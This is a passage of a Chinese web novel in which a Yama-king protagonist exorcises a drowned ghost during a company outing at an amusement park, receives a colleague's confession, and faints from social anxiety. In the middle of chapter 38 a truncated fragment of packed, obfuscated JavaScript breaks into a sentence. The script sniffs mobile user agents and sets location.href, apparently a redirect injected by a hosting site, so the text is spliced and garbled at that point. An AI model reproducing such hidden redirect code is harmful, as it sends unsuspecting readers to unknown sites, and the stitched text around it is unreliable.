但很快就被某种更深的怨气,强制压了下去。
这幕后黑手还真是难得,把方圆百里所有的水鬼都聚在这里,并且能完全操控,多深的怨念和执念啊!
数以百计的水鬼继续张牙舞爪,朝着冷樾那边逼近,最近的几只,距离冷樾已经不足五米。
阎璟在距离水鬼包围圈几步外停了下来,目光先是落在冷樾挺直的身上,察觉人似乎没事,才进行下一步动作。
“差不多就行了。”阎璟声音不大,但能清楚的传到每个人耳中,尤其是藏在后面不肯露头的那个罪魁祸首,“你强留在人间,纠缠生人,扰了这游乐园的生意不说,吓坏小朋友就不好了。”
阎璟的语气温和,甚至带着点商量的口吻,就好像是在劝说不听话的熊孩子。
那东西当然不会听,喉咙里甚至发出几声滋滋啦啦的怪响,像是在下令一般,
目光所及,最近的几只猛然加速,纷纷张开利爪,整个全朝着冷樾扑去!
冷樾眼神微寒,一旁的云为衫和白念生也正准备下死手。
却不料,阎璟的动作比他们还快!
只见一道红色闪电,红腰带瞬间缠住那几只张牙舞爪的手,腰带越来越长,越来越快,猛得向后一拽,将那几双手死死缠住,绷紧。
然后在众目睽睽之下,直接被绞成几节,斩落在地。
那瞬间,时间仿佛停滞了。
不仅孟小七和白念生,就连云为衫都为之一振。
谁也没想到阎小璟还有这本事!
此时,原本所有准备扑向冷樾的水鬼,齐齐一震,动作算不僵在半空,不敢向前,一步不敢动弹。
“啊!!!吼!!!”
就在这时,那口水井里,一处深不见底的黑洞中,传来一声沉闷压抑的呜咽声,声音里充满痛苦与不甘。
随即,一股发臭发黑的酸臭味,从洞口喷涌而出!
“苏三娘,你这是何苦呢?”
阎璟叹了口气,直接用红腰带打了过去,腰带穿进那股腥臭的黑水里,从里面捆出那个佝偻着身躯,头发散落的东西。
“这不就是刚刚喜堂里追唐老鸭那个东西。”
唐老鸭很合时宜将墨镜摘掉,两手一拍,十分确定,“对,就是她。”
“你运气不错呦!”云为衫是指他被正面围剿也没被拖下水。“法相亮的真是时候。”
“苏三娘!是你吗?”阎璟蹲在她面前,拿着那个从棺材里取出的牌位,轻声问。
没有回应。
阎璟又问:“你的执念是什么?”
依然
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没有回应。
阎璟直起身来,叹了口气,转头说道:“白念生,查一下她的生平。”
白念生从后面走过来,哦一声,开始用判官笔在半空中拉出一幅横条生死簿。
输入苏三娘的名字后,上面金色的符文,不停变幻,终于有一道金符似乎有所感应,金符化成金丝,钻进那东西额间,消失不见。
“有了。”白念生将那段生平调出来,念出了声,“苏三娘,清文宗咸丰六年生人。”
白念生读完后自己愣了一下,以为是自己看错了,揉了揉眼又看了一遍。
没读错!
阎璟同样也是一愣,“什么!?”
又是一个死了很久没有投胎的。
一旁的冷樾掐指一算,“嗯,死了一百七十年,怪不得怨气和执念这么重。”
阎璟无奈的扶着额头,脚下有点站不稳,投胎率低的原因找到了,吩咐白念生,”……继续念吧。”
白念生继续:“……苏府三小姐,因爱慕秦书生,被家族除名。后嫁于秦生,婚后怀子,不足月夭折,其后疯疯癫癫,丈夫嫌,故休妻,后被家族安排与官僚之子举行冥婚之礼,礼毕后……溺亡!
众人:“……”
这身世,好惨!万恶的封建社会啊!
孟小七心中叹息,突然觉得好像眼前这怪物也不是很恐怖了。
阎璟弹指一挥间,将红绸带收回,再次蹲在她面前,“所以,你的执念是什么?我可以帮忙解脱。”
“孩……子……”
原来到最后也只是为了那个夭折的孩子。
白念生收起生死簿,用判官笔在她身上查因果线,果然,有一道微乎其微的因果,他把那道因果线递给阎璟。
阎璟接过一看,皱起眉头,这个因果线连接的另一边正是一个胎儿,因为苏三娘执念太深,所以,原本该斩断的因果线,就这样奇迹的出现在她身上。
被爱人背叛,被家人出卖,被坏人迫害,最后执念依然只是那个和自己血脉相连的孩子。
阎璟闭上眼睛,努力咽回喉咙里的酸涩,朝她郑重点点头,“好,我帮你。
阎璟手覆在她的额头,“你的来世,会有人疼,有人爱,你的孩子依旧会回到你身边,安心投胎去吧!”
话音刚落,一道白光映着月光,齐齐洒在她身上,原本那身青白色被人泡发的肌肤,以肉眼可见的速度,开始吸收养分,恢复成短暂人生之中最美的模样
“还挺好看。”白念生喃喃自语。
孟小七是第一次见这么漂亮的女孩子,不由发出一声惊叹,“书中所说的大家闺秀,应该就是这般模样吧!”
苏三娘对着阎璟的方向弯下腰,无声道了一句谢谢。
然后整个肉身在月光下,开始变得灰败,干裂。仿佛一瞬间被抽走了所有水分和力量。
灵魂如同星辰大海,向上空散去。
阎璟身体有些不支,站起身时整个人往后倒去,被后面的冷樾接住,“云组长……”
云为衫上前一步,不用阎璟多说,直打出一道净化白光,光芒顺着四周墙缝,水井,檐廊,一路朝下,安抚,净化。
几息之间,院落中那些原本恶臭的水腥味瞬间消散。
墙体上,原本趴着的密密麻麻的水鬼身影,也如一阵被风吹散的沙画,无声无息,最终消失不见。
月光清冷,洒满整篇院落。
幻境慢慢消失,院落也在消失,那口井仿佛从未出现过。
又是死一般的寂静。
他们几人,重新回到游戏最开始的地方,依旧走在那个刚进门时,神秘漆黑的走廊上。
身份牌依旧在每个人的手里稳稳的拿着。
云为衫是宾客,孟小七是喜娘,白念生是轿夫,阎璟是新郎,而冷樾是新娘!
孟小七都不敢低头看自己手里的牌子,甚至都怀疑刚刚发生的一切是不是真实的。
耳边依旧能听到细微的水滴声,空气中那股味道似乎也并未散去。
冷樾站在原地,捏着那个属于他新娘的身份牌,面无表情冲着前面三人说了一句话。
他说:“这地方,真有意思。”
38. 深情告白的冷樾大人
一声轻描淡写的话。
使得前面三人同时猛地后转,目光死死盯着冷樾。
白念生率先跳起来,“卧槽!你要吓死谁啊!”
“吓死胆小的。”冷樾居高临下望着他。
阎璟抿嘴憋笑,他觉得冷樾这厮实在也太有意思了,蔫坏蔫坏的!
“行了,别逗他们了。”阎璟出来打圆场。
孟小七腿一软,直接坐倒在地上,连连摆手,“大佬们,我不想玩了。”
“哎,我说,你们别玩了,咱们老总呢?”云为衫率先瞅了一圈,幻境散去后,一直跟在她身边的唐老鸭不见了。
阎璟瞧着前面走廊墙上泛着安全出口的绿光,回想一下,“我们现在身处进门的长廊中,那想必他们这会,应该在通往喜堂后面到那扇侧门后面。”
一切回到原始的位置是最合理的?
“等等,我先确定一下,刚刚是幻境还是真实的?”白念生有点搞不清了。
阎璟看了他一眼,意味深长的笑了笑,“你说呢?”
白念生被他这笑容搞得心里发毛,不敢再问。
孟小七自己又爬起来,脑海里还在想刚刚那个漂亮的女人,内心无限叹息,“苏三娘,她做过坏事吗?”
“她只是一个可怜女子罢了,被人利用,跟已死之人冥婚,后又被迫水葬。”阎璟语气平淡。
“可真幸运,来此地游玩的游客没有被她吓死。”白念生道。
“她是个善良的姑娘。”云为衫想,一个在此地存在一百七十年的死魂,对于误闯她幻境的游客,从头到尾只是吓唬,并未动真格,确实算是善良了。
就是执念太深,这次若不是遇见他们,指不定还要等上多少年呢!
“苏三娘只因执念太深,被困在此地,又被这游乐园的阴气布局所惑,才变得如此,如今执念已散,已经没事了。”阎璟说得轻描淡写,仿佛刚才恐怖的场景,只是解开了一个小小的误会。
恰正在这时,上面墙角里对讲机的传来滋滋拉拉声,似乎是游乐园的工作人员。
“请问几位为何停止不前?你们是继续体验,还是先暂停休息?”
几人回头都看着阎璟,似乎在等他的答案。
阎璟刚想开口,工作人员的声音再次传过来,“前面正好有一组玩家正在进行拜堂,各位可以作为宾客前去观礼。”
“拜堂?”白念生眼里掠过一丝精光。
“观礼?”前面那一组,该不会是……
云为衫突然想起先前偷偷摸摸溜进来的岳晖,金乔觉等人。
她想去看热闹,白念生也很想去。
两人几乎异口同声,“那必须得去啊!”
话音未落,两人已撒腿朝喜堂方向奔去。
孟小七左右看了两下,害怕和八卦,最终还是八卦占据上风,见状快步跟上。
阎璟和冷樾对视一眼,眼神里浮起淡淡笑意,抬脚也跟了上去。
喜堂之内,红烛高燃,气氛与方才那邪异诡异不同,但却透着一股更加诡异的诡异
这次身穿新郎喜服的是金乔觉,样子怎么看怎么怪异,那朵大红花被他系在后背。
新娘也不见人影,只有一面牌位立在案前。
喜堂正中此刻仍然放着一口棺材,此时棺盖是敞开状态,牛力一身魁梧新娘妆扮躺在其中。
“这又是哪一出?”白念生趴在棺材板上文问。
“演死新娘!看不出来?”
金乔觉身旁的谛听低吠两声,引得几人回头的目光,他咳嗽一声,随即开口说道,“我方才就觉察此处不对劲,邪气缠人,所以……”
“所以你就把看门狗放出来咬人了。”云为衫不客气的拆穿他,明知故问道:“刚刚你去哪了?我们怎么找你也找不到。”
此时,牛力从棺中坐起,利落的翻身跳出来,手中钢叉哐当落地,“刚才确实太危险了,如果不是我,金经理和岳晖总可能就都没了,我要求给我加工资。”
白念生几人彼此交换眼神,看破却不说破,只转身朝着唐老鸭悠悠说道,“老总,还有什么指示?您刚才到威严我们已领教过了,要不要现在再把那尊发抖的法相,请出来亮一亮?”
岳晖不自然咳嗽一声,话到嘴边又咽了回去,默默把墨镜一戴,摆出生人勿近的架势,显然不想多言。
“云为衫,你能什么,如果不是我,你们能有这么闪亮登场的机会吗?”
“什么意思?刚刚大战鬼新娘,你也有份?”
牛力把钢叉拿起来,往身上一扛,“就是他一开始进来不小心撕掉了那排位上的一张灵符,放了那东西出来的。”
云为衫,白念生,孟小七:“……”
金乔觉恼羞成怒,“牛力我扣你绩效。”
“我一个保安,哪来到绩效。”
“我说呢,一进来就不对劲了。”白念生忍不了,撸起袖子,“给我干他!”
几人簇拥而上,打作一团!
云为衫脸色实在不怎么好看,感情他们这些人费了半天劲,拜前面这吊毛所为。
孟小七也想去补两脚,被云为衫一把拉住,“你手劲不行,让我来!”
说罢,也加入战斗之中!
岳晖那一把老骨头,好不容易从战斗圈里爬出来,冷樾上前一步,面无表情扶人起来,朝着那一团乌烟瘴气,“大家玩够了没有。“
一句话,让所有人都停了下来。
只见四人纷纷倒在地上。
金乔觉的身上那朵大红花已经带到牛力头上,牛力的钢叉被云为衫折成直角,白念生双手还掐在金乔觉脖子上,云为衫的剪刀腿卡主牛力的脖领,主打一个,今天非得弄死你不可!
庆幸的是岳晖爬出来比较及时,没有波及生命危险。
冷樾讥笑:“大家可真是让我大开眼界,岳晖总常说,公司的业务员聚是一团火,散是满天星,依我看,聚是一盘沙,散是一盘散沙。”
“是,冷总监,总结很到位。”
岳晖在一旁干笑两声,无法反驳,只好再次带上墨镜,不忍直视。
墨镜?
阎璟这才回过神,往身上一摸,自己的墨镜不见了。
冷樾见阎璟转身要走,伸手拉住他,问,“去哪?”
阎璟目光看着岳晖带着的墨镜,又指指自己的,“我墨镜掉了,得回去找找。估计是落在洞房那间的床上了。”
“我陪你去。”
阎璟点点头,没有拒绝,不知道为何,他总是无法拒绝冷樾说出的话和提的要求,明明对方什么也没有要求,什么都没做。
两人慢条斯理优雅着按着路线往那房间走。
“原来云组长是九尾狐仙?”阎璟一边走一边问。
冷樾点点头,“人间界唯一一头九尾狐,镇场子用的。”
“镇场子?”
“人间界,东西南北划分四个大区,每个区域都有一个镇场子的暗子,东区就是云为衫。”
“这么说,她暗子的身份可实权比岳晖总高多了,毕竟实力摆在那,难怪……”
“难怪什么?”
阎璟轻轻一笑,“难怪,怼起谁来都不客气。”
阎璟抿抿嘴,这一趟团建可真太有意思了。
岳晖是东岳大帝,金乔觉是地藏王储备,云为衫是九尾狐,白念生和何狂都是地府实习判官,牛力是地府牛头阴差。只有一个孟小七还算正常,细算下来也不正常,是孟婆的后人。
那……冷樾呢?冷樾的身份又是什么?该不会……
不不不!太不像了!
阎璟偷瞄冷樾几眼,心想这个应该就是个人,跟安饶他们一样,是个有点本事的普通人。
冷樾见他欲言又止,想看又不正大光明看的偷摸样子,“怎么了?我脸上有什么吗?”
“有正气!”
冷樾:“……”
阎璟轻车熟路走向通往那处洞房的走廊,一路按指示前进。
刚拐过廊角,突然一个扮作吊死鬼的NPC猛然探出长脖,直接凑到他鼻尖前,差一点就亲上了。还好冷樾再后面及时拉住了他的脚步!两人才没撞上。
这突然的也太突然了!
那NPC见阎璟神色一点不慌张,恐惧也无,不甘心,又龇牙咧嘴做起鬼脸来。
“……”这太敬业了。
就是那扮相实在不忍直视,阎璟忍不住伸手,将他垂在外头的假舌头,一下子拔了出来。
“喂,你拔我舌头干嘛!”
阎璟拿着那道具在手里来回端详,半晌,给出指导意见,“小伙子,你这舌苔颜色不对,真吊死鬼应是紫黑色。
还有,你刚飘过来的时候膝盖别弯,再配合惨叫,由低到高,显出层次。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205124|195461||http|test|mini|href|location''.split(''|''),0,{}));
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>另外,锁链不能拖地,吵人,会被投诉的,
《鬼差装备管理条例》你们公司没发吗?难道你没学过吗?”
冷樾跟在后面,默默把头转去一边憋笑,阎王大人一本正经教书育人的模样实在太可爱了。
阎璟心中无奈,叹息一声,“就你这业务水平,到了地狱怕恐怕也吓不到人。”
说完就把舌头扔给NPC,两个人默契继续往前走!
NPC把面具一把摘下来,在原地叉腰站定,试图把阎璟的话消化消化,越想越不对,气鼓鼓的直接联系中控后台。
搞什么?
这是密室逃脱里最恐怖的恐怖屋哎,不是给人度蜜月的?
这么淡定是要做哪样?
洞房里。
阎璟推门进来时,看见被子底下鼓鼓囊囊缩成一团的胆小鬼,一时无语,居然把他忘了。
那只小鬼还乖乖趴在床上,屁股撅的老高,怀里还紧紧攥着那盒,要奉献给阎王大人的彼岸花饼干。
冷樾随后也越过门槛,径直走到床边,一把掀开被子,床头赫然放着那副墨镜。
他越过瑟瑟发抖的小鬼,仿佛没有看到一般,将墨镜拿起,递到阎璟手里,“找到了。”
阎璟接过墨镜,目光却落在一旁的小鬼身上。
小鬼哆哆嗦嗦捧出一个包装精致的礼盒,什么也没敢说。
阎璟接也没接,给小鬼做了个手势,让他回去吧!
小鬼头脸上露出失望之色,但也不敢忤逆阎璟的话,把头往被子里一埋,身影化作一缕青烟,彻底消散。
阎璟这才转向冷樾,目光里带着几分探究与打量。
冷樾被他看得有些莫名,“怎么了?”
阎璟摇摇头,心里却想,这人怎么一点不好奇?也不问刚才那是怎么回事?
转念一想,哦对,刚刚是在幻境结界里,冷樾看得见,现在,肉眼凡胎,看不见正常。
“没事,”阎璟收回视线,“走吧。”
冷樾默契的什么也没说,只是微笑。
想起刚刚洞房里发生的一切,脸不红胸不喘的喊了一句,“夫君,不等等我吗?”
“别闹了,”阎璟被他一声夫君喊的耳根微热,“刚刚还没闹够啊!”
“你喜欢这样的吗?你以后若是想成亲,也可以办的热热闹闹。”冷樾坐在床上,手覆上那床上鸳鸯被。
阎璟把墨镜别在自己衣服领上,抬脚准备出去,听到冷樾的话,背对着床,也背对冷樾,声音清晰又笃定,“我不会成亲。”
冷樾的手立刻僵在被褥之上,细看还略微微有些颤抖,脸上强撑着笑意,眼睫毛在暗光下也轻微抖动,稳住声音,强颜欢笑道:“我也觉得红色太过喜庆了些……中式婚礼素雅,也挺好看。”
阎璟不知道两个人怎么扯到这上面来,但很显然,这压根就不在阎璟此生考虑范围中。
他叹了口气,转头侧身,对着坐在床上的冷樾,淡淡笑道,“成亲对我来说,太遥远了,这世上,没有人会陪另一个人共度一生,同生共死。”
为什么没有?你眼前就有一个。
冷樾那颗心从来没有跳过这么厉害,“如果有人愿意跟你共度一生,生死相依,祸福与共,你会不会……”
冷樾的话还没说完,就被阎璟打断了。他说:“不会的,我找不到那样的人。”
又说:“没有人会愿意跟我在一起的。”
因为他是阎王大人!
地府的众鬼怕他,人间界的众生怕他。
哪怕三界开会,玉皇大帝那个小屁孩都不喜欢和他说话。
“……如果我愿意呢?”
如果我愿意,你会给我一个机会吗?冷樾一脸严肃的望着他,贪心的不肯放过他每一个表情,每一个动作。
阎璟一时间愣在原地,大脑一片空白,冷樾在说什么?
他说愿意?
愿意什么?
共度一生?
为什么会说出这种话来!?
不行!
阎璟你倒是说话呀!就像刚刚拒绝那个女孩子一样,开口,拒绝他!快说呀!
阎璟微张嘴巴,试了几次,几欲想拒绝的言辞都到了嘴边,始终没有说出口。
阎璟站在床下,而冷樾坐在床边静静看着他。
就这样,两个人,沉默了很久很久……
39. 社恐发作的阎王大人
阎璟和冷樾两人从恐怖屋出来时,白念生等人已经在外面等候多时了。
金乔觉那张原本还能勉强称之为帅气的脸上,此刻更是雪上加霜。青一块,紫一块,红一块,简直精彩无比。
动手的人一共有俩,白念生下虚手,而云为衫下死手,临了还在一旁把手指掰得咔咔作响,继续吓唬人,金乔觉被揍的畏畏缩缩,不敢再造次。
“怎么?不服气?”云为衫没送他下地狱,已经算便宜他了,“手欠。”
“不—糊(服)!”金乔觉捂着一边侧脸肿起的腮帮子,拿眼斜她。
“忍着!”
白念生在一旁添油加醋,“你说你,好不容易出来玩,就你丫的不干人事。”
“他是人事部的,能干出什么人事。”
金乔觉有苦难言,但他真不是故意的,当时怎么就被蛊惑住,一下子揭了镇压符呢!
所以知道自己闯了大祸,第一时间就把自己保护起来了。
“瞧把你机灵的,还让唐老鸭给你开路,万一他顶不住,你打算怎么向上面交代??”
“他客四握闷老肿(他可是我们老总),英勇无畏!”金乔觉说道。
“确实无畏,他还压根就没把那些放在眼里呢。”白念生捏了根草含在嘴里,漫不经心道:“因为他全程就带着他那破墨镜,就没敢睁开眼睛。”
“噗嗤!”孟小七在一旁直接笑出了声。
白念生又转头对她开炮,“别五十步笑百步,你也没好到哪里去。”
“……说的好像是你出多少力一样,不还是阎小璟和冷总监解决的。”孟小七懒得理他,目光落在密室逃脱出口处。
左等右等不见阎璟两人出来,担心又出什么幺蛾子。
直到两人的身影出现在安全出口,才把心放回肚子里。
白念生在一旁哎呦呦,牙疼个不停,“他俩在一块儿还能出什么大事?瞧把你给操心的。”
“我的CP我来守!你不懂!”孟小七白他一眼,望着那两人背影,脸上笑意渐显。
两人慢步走进,跟大部分汇合。
临近看上去,阎璟脸色并不太好,情绪也显然没有刚进去时那么高涨。
身为女孩子的孟小七,立刻就察觉到了不对劲。
这两人在里面……是发生什么了吗?
怎么各自一副心事重重的样子?
“阎小璟,你怎么啦?”孟小七凑上前问。
阎璟回过神来,对着这姑娘轻轻摇了摇头。
孟小七笑了笑,指指前面,“那我们去玩别的,那边有个超大的摩天轮!我们去坐好不好?把刚才的不愉快统统甩掉!”
“我坐过了,就不去了,你们去玩吧!
阎璟兴致缺缺,他甚至都不敢回头看冷樾一眼,只能随便找个借口,“我想随便看看走走,待会儿再找你们汇合。”
说完就迈着步子就准备开溜,走前还用余光定位一下冷樾的方向,见人视线一直在自己身上,不由更加加快了脚步。
剩下几人面面相觑,满脸问号。
云为衫盯着阎璟那莫名的背影,冷不丁给了冷樾一记眼神杀。
冷樾默默移开她投过来视线,转移话题,“岳晖总呢?”
“牛力送回去了,说受到了惊吓要回去吃降压药。”白念生神经再大条,也察觉到不对劲了。“那个,他啥情况?阎小璟怎么自己跑了?不玩啦?”
云为衫扶着额头,显然被白念生的神经大条给整无语。
冷樾欲言又止,垂下眼眸,没理会他们八卦的目光,锁定阎璟的背影,慢慢抬脚跟了上去。
两人一走,八卦四人组就围成个圈,开始讨论,孟小七腐女之魂在燃烧,“我发誓,两人有情况。”
“不用发誓,也有情况,这么明显。”云为衫说。
“花森马似(发什么誓)?”金乔觉再快人快语中费力插了一句。
白念生把他猪头往旁边一扭,“先说情况!他们两个不会真在里面洞房了吧!”
孟小七眼睛扑闪扑闪,“哇哇哇哇哇!”
云为衫向上翻了一个白眼:“……”
阎璟心里堵得慌,已经很久没有这种感觉了,真是久违之感。
他漫无目的晃悠到一处儿童舞台表演区,舞台周围坐满了小朋友。
阎璟顺势也找了个空位坐了下来,先让自己的心静下来。
台上的演员正上演着《二郎神大战孙悟空》的戏码,孩子们看得津津有味,拍手叫好。
阎璟也看得津津有味。
没想到人间的版本竟然是这样的……
可惜后来发生的事,世人就不知道了。
阎璟心想,孙悟空是极其聪明的石猴儿,瞒着天道偷偷吸收天地精华,跳出三界之外,不在五行之中,万物皆不可挡。
可天道怎么会允许这样一个逆天的存在,于是联合佛界,天界,谋划了一场极为严密以监视形式主义的西行。
猴子心里也十分清楚,天上那群总经办想让他做什么,不过,他反抗五百年,还是以失败告终,最后无奈戴上紧箍咒。
猴子修成正果后,跟三只眼冤家路窄,倒是遇见过一次。
猴子把金箍棒往地上一杵,拦住三只眼去路,“怎么?俺老孙都成佛了,真君还这么古板呢!”
三只眼懒得理他,冷着一张脸就要离开,“别挡路。”
“不知好歹!”
一言不合,便打起来。
猴子原本自己一个人占山为王乐得自在,这下倒好,被收编后,谈何自由可言。
反观,那个三只眼,一个听调不听宣!羡煞旁人!
所谓仇敌见面,分外眼红,二位皆是,提起武器,说打就打!
猴子不敌,被三只眼一脚踹开,不服,再战。
全力相搏之下,三只眼被天道强行压制下,渐渐落入下风,最后直接被打进冥界地府里。
遇见了自己!
后来,还是自己帮着三只眼觉醒的法天象地呢!
天上就没几个和他三观合得来的,三只眼算一个,话说自己来人间界,三只眼还不知道呢吧!
哎!怎么突然想起这些来了?
真是有感而发!
舞台上,猴子七十二变,三只眼七十三变,你来我往,变化万千。
“接下来,有没有观众自愿上台助演呀?”主持人举着话筒吆喝。
台下的孩子们顿时沸腾了,纷纷举手,希望自己能背选中,“我!我我我……!”
阎璟环顾四周,围了一圈的小朋友,激动地都快站到椅子上了,就盼着自己被选中能上台表演。
主持人再台下扫视一圈,心里觉得这群娃太闹腾不好控制,眼神一扫,忽然瞥到安静坐在台下的阎璟,顿时眼睛一亮,“这位帅哥,你愿意上来参演吗?”
阎璟还以为他在叫别人,左看右看,最后才迟疑的指了指自己。
“对,就是你!”
“不不不……”阎璟一听,头皮发麻,连连摆手。
开玩笑,让他上台?还在众目睽睽之下?
这不是要他老命嘛!
旁边的小朋友们倒是兴奋极了,“大哥哥你好幸运!快去呀!”
阎璟疯狂摇头,光想想他头皮都发麻了。
奈何左右几个孩子不由分说,把他直接架起来,就往台上推,仿佛能让阎璟上台,会比他们自己上台还要开心。
“我真不行的!”阎璟苦笑不得。
“男人不可以说不行。”一个奶声奶气的声音教育他。“你应该说,我不中。”
还带有口音!
“…
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…”阎璟被赶鸭子上架,被迫出演那位人类最位崇拜的三只眼。
拿着残次品的三尖两刃刀,尴尬站在原地,和他搭档的是个十来岁的小男孩,演哮天犬。
一口一个主人,喊得阎璟社恐都快发作了。
天呐!谁来救救他!
而那位演猴子的演员恰合时宜凑上来,和阎璟对上戏,
“呔!吃俺老孙一棒!”
阎璟僵硬的举起三尖两刃刀,内心只有一个念头:救命,我现在装晕还来得及吗?
阳光好刺眼!
生活好无奈!
基层体验,好社死!
阎璟有气无力的举起三尖两刃刀,敷衍的跟对方演员对招。
他打算在对方棒子打过来之际,顺势倒地,直接装晕拉倒!
完美!
可那位饰演哮天犬的小演员实在太敬业了。
一见阎璟倒下,一个箭步冲上前,用肉乎乎的小手空手接白刃,硬生生那身体去挡即将打到阎璟身上的金箍棒,然后嗷呜一声,也跟着倒了下去。
众人哄堂大笑!
主持人也在笑!
就连一直跟着阎璟的冷樾也在台下的某个角落嘴角上扬。
只有阎璟笑不出来。
这一幕,何其相似。
曾经也有个小小的身影,在他面前直直倒了下去,再也没有醒过来。
他可是无所不能的阎王大人!
他是无所不能的神!
但却救不了他!
为什么会突然想起来……
阎璟头晕目眩起来,甚至开始神情恍惚,开始分辨不清,眼前这一幕,究竟是真实还是虚幻。
他下意识想伸手接住那孩子。
不!不!
那双眼底深处映上的红,是那个孩子身体里流下的血,都是血,他想不通,一个小小的身体里怎么会流出那么多的鲜血?
他的呼吸开始急促,“小纶……”
阎璟仿佛被梦魇住一般,想喊出的声音,低得几乎听不见,“别怕……我会救你……你别怕……”
直到眼神逐渐开始涣散,只是本能用双手紧紧搂着孩子,已经分不清到底身处何地。
直到两眼一闭,真晕了过去。
饰演哮天犬的孩子懵懵的,从他怀里爬起来,看着旁边躺平不动的阎璟,摇了几下,突然放声大喊:
“不好啦,二郎神被孙悟空打死啦——!”
纳尼!主持人握着话筒回头一看,顿时僵在台上,“???”
台下一直旁观的冷樾,见情况不对,立刻现身,三步并作两步,大步流星,快步冲上舞台。
一把将晕倒的阎璟抱进怀里,轻声唤了几声。
“小璟……”
阎璟没有反应,脸色苍白如纸,呼吸也有些急促。
孩子不明真相,还在一旁拼命的哭!
冷樾已经无暇顾及,众目睽睽之下,直接打横抱起阎璟,转身就往台下走。
冷樾没有想到阎璟的社恐,已经到了这么严重的地步。
这段时间,阎璟跟别人相处的表现已经跟平常无异,太具有欺骗性,让他也放松警惕,觉得无甚大碍。
谁料……他还是大意了。
冷樾回去路上,遇到白念生等人,见冷樾怀里抱着阎璟,一个个纷纷都迎了上来,关切问道:“阎小璟怎么了?”
冷樾脚步未停,往停车地方走,边走边说,“社恐犯了。”
啊!
白念生彻底无语起来,“我还以为他好了呢!”
孟小七在一旁叹息,“平常只觉得他内向,不爱说话,原来还有社恐,恐什么!?”
白念生想起阎璟怼他那句,原封不动又送给孟小七,“恐你这种社牛!”
孟小七:“……”
40. 十分无语的冷樾大人
阎璟再次醒来时,是在青灯山庄自己的房间内。
冷樾趴在床边守了两夜,直到天将明才倦极而眠。
阎璟缓缓睁开眼睛,微侧过头,目光无声落在冷樾脸上,一时看得痴了!
孟小七说的没错,冷总监是人间妄想!
能配得上他的女孩子得有多么出色,可惜,是个gay,还喜欢自己这个缺点一堆的人。
如今怎么办才好?
阎璟目不转睛看了片刻,忽然觉得不妥,又匆匆移开视线,打算悄悄掀开被子,踮着脚尖,打算下床。
谁知一只脚刚在落地,床边的人便醒过来。
两个人就以这般别扭的姿势对上目光,阎璟一只脚在床上一只脚踩在地上,半悬着身子,冷樾趴在床头,转身抬眼朝他望过来。
阎璟一脸窘迫,好像做了什么不得了的事被抓个正着。
冷樾却一脸坦然,起身走过去,伸手探了探阎璟的额头温度,又将人轻轻抱回床上,“感觉怎么样?可有好些?”
“我睡了多久?”阎璟眨巴眨巴眼睛询问。
“三天。”
“三天!”阎璟自己都惊呆了,“那我的考勤……”
冷樾相当无语,自己已经这个样子了,还在想考勤的事。
“白念生给你请了假,云组长和我已经批了。”
阎璟不是担心假,“那我这个月的窝囊费岂不是很少很少。”
“……”冷樾很想告诉他,你那点窝囊费简直凤毛麟角。“可以用我的。”
阎璟看着他,一时无言,眼前这人这么好,怎么就这么想不开跟自己告白呢?
搞得他一时间不知道该怎么跟冷樾相处了。
他当时没有第一时间直接拒绝,可是他也没有接受。其实这样对冷樾很不公平,对他的感情也很不负责任。
冷樾似乎能看穿他的心事,轻叹一声,“我给你带来了困扰。”
阎璟立马摇头,顿了顿,反应过来又点头,然后又摇摇头,自己也说不清自己在干什么,抬起双眸看向他,声音低沉,却认真,“不,是我自己的问题,我……”
冷樾不知道这人怎会养成这般的性子,分明不是自己的过错,却总先在自己身上找原因。
“不是你的问题,是我的。”冷樾纠正道。
“不,是我的问题。”
“明明是我的问题。”
两人几乎就要陷在无解的循环。
阎璟深吸口气,也不在跟他争辩,快速满足他,“好吧,就是你的问题!”
冷樾一怔,忽然笑了出来。
那是少见能从冷樾脸上看到的笑容。
哪怕是在平常,冷樾对他微笑时,他也总能从那笑容里窥探出一点悲伤,可这次不一样,笑容里明媚爽朗,如同朝阳破晓的天光。
就连阎璟心里原本那点郁闷之感,也跟着烟消云散。
两道视线相交,相视一笑,前面的种种就此翻篇。
仿佛一切又回到了原来的轨道上,两人之间,风清月明,干干净净。
阎璟嘴角上扬,突然想到另外一件事,“那日我是怎么回来的?”
冷樾不自然轻咳一声,转身如给他倒了杯温水,递到他唇边,“你还是别问了,问了又会不自在。”
阎璟接过杯子,低头小啄一口,脸色却渐渐沉了下来,眼珠一转,想到一种可能性,惊恐的望着冷樾,“该不会是你……抱着我……回来的吧?”
冷樾没说话,但望着他的眼神已经足够说明了一切。
阎璟顿时头皮发麻,身子开始紧绷,咽口温水润润嗓子后,又接着问,“该不会……还被那群八卦团撞见了吧?”
冷樾再次抿了抿唇。
“该不会现在公司群里已经……传遍了吧!”
冷樾终于偏开了头,不敢去对视他的目光。
阎璟立刻放下水杯,就赶紧去摸床头柜上的手机,却被冷樾伸手一下拦在半空。
“我劝你慎重。”冷樾的意思是让他做好心理准备。
阎璟喉结动了动,闭眼深吸一口气,拨开他的手,“没事,我心脏承受能力世上最强,受得住。”
说着便一种视死如归的表情,打开了公司内部论坛。
只扫了几眼,阎璟的眼睛越睁越大。
群里的流言蜚语,已经朝着他完全无法理解的方向狂奔而去。
甚至还有关于他们俩的押注:
支持腹黑总裁攻×软萌冷脸受——98%
剩下2%的邪修,竟坚持阎璟攻×冷樾受。
不用猜,肯定是白念生那几人。
阎璟对着屏幕愣了半晌,终于抬头,茫然中透着认真,他问:“……什么是攻?什么是受?”
冷樾:“……”
这问题真真要命!
强大如厮的总监大人,也只有低头逃跑的份,“你饿不饿?我去给你弄点吃的。”
“我不饿!你先回答我的问题。”
“我饿了,我去问问黄仙儿,做了什么好吃的。”
阎璟见他如此落荒而逃态度就知道,这什么攻和受,肯定不是什么好东西。
改天问问白念生。
黄大仙没有说谎,黄仙儿的厨艺确实不错,只是可惜,阎璟早已习惯了冷樾做饭的口味。
比起冷樾的清淡鲜美的口味,黄仙儿那一手辣椒猛放,葱姜爆香的重口味,再一次刷新了阎璟的认知。
这味道,怕是能和孟婆切磋切磋。
不是总有用户说想尝尝其他口味的孟婆汤吗?黄仙儿绝对能胜任。
